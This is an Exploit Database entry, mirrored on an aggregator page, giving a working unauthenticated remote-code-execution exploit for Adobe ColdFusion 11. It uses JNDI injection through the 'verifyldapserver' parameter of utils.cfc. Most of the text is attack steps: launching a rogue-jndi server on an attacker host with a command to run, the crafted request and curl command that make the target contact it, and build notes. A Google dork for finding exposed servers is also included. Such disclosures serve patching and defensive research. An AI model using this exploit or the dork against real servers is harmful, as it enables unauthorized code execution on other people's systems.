Adobe ColdFusion 11 – LDAP Java Object Deserialization Remode Code Execution (RCE)

• Exploit Database
• 11 阅读

• 作者： Amel BOUZIANE-LEBLOND
  日期： 2022-02-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50781/

• # Exploit Title: Adobe ColdFusion 11 - LDAP Java Object Deserialization Remode Code Execution (RCE)
  # Google Dork: intext:"adobe coldfusion 11"
  # Date: 2022-22-02
  # Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)
  # Vendor Homepage: https://www.adobe.com/sea/products/coldfusion-family.html
  # Version: Adobe Coldfusion (11.0.03.292866)
  # Tested on: Microsoft Windows Server & Linux
  
  # Description:
  # ColdFusion allows an unauthenticated user to connect to any LDAP server. An attacker can exploit it to achieve remote code execution.
  # JNDI attack via the 'verifyldapserver' parameter on the utils.cfc
  
  ==================== 1.Setup rogue-jndi Server ====================
  
  https://github.com/veracode-research/rogue-jndi
  
  
  ==================== 2.Preparing the Attack =======================
  
  java -jar target/RogueJndi-1.1.jar --command "touch /tmp/owned" --hostname "attacker_box"
  
  ==================== 3.Launch the Attack ==========================
  
  
  http://REDACTED/CFIDE/wizards/common/utils.cfc?method=verifyldapserver&vserver=LDAP_SERVER&vport=LDAP_PORT&vstart=&vusername=&vpassword=&returnformat=json
  
  
  curl -i -s -k -X $'GET' \
  -H $'Host: target' \
  --data-binary $'\x0d\x0a\x0d\x0a' \
  $'http://REDACTED//CFIDE/wizards/common/utils.cfc?method=verifyldapserver&vserver=LDAP_SERVER&vport=LDAP_PORT&vstart=&vusername=&vpassword=&returnformat=json'
  
  
  ==================== 4.RCE =======================================
  
  Depend on the target need to compile the rogue-jndi server with JAVA 7 or 8 
  Can be done by modify the pom.xml as below
  
  <configuration>
  <source>7</source>
  <target>7</target>
  </configuration>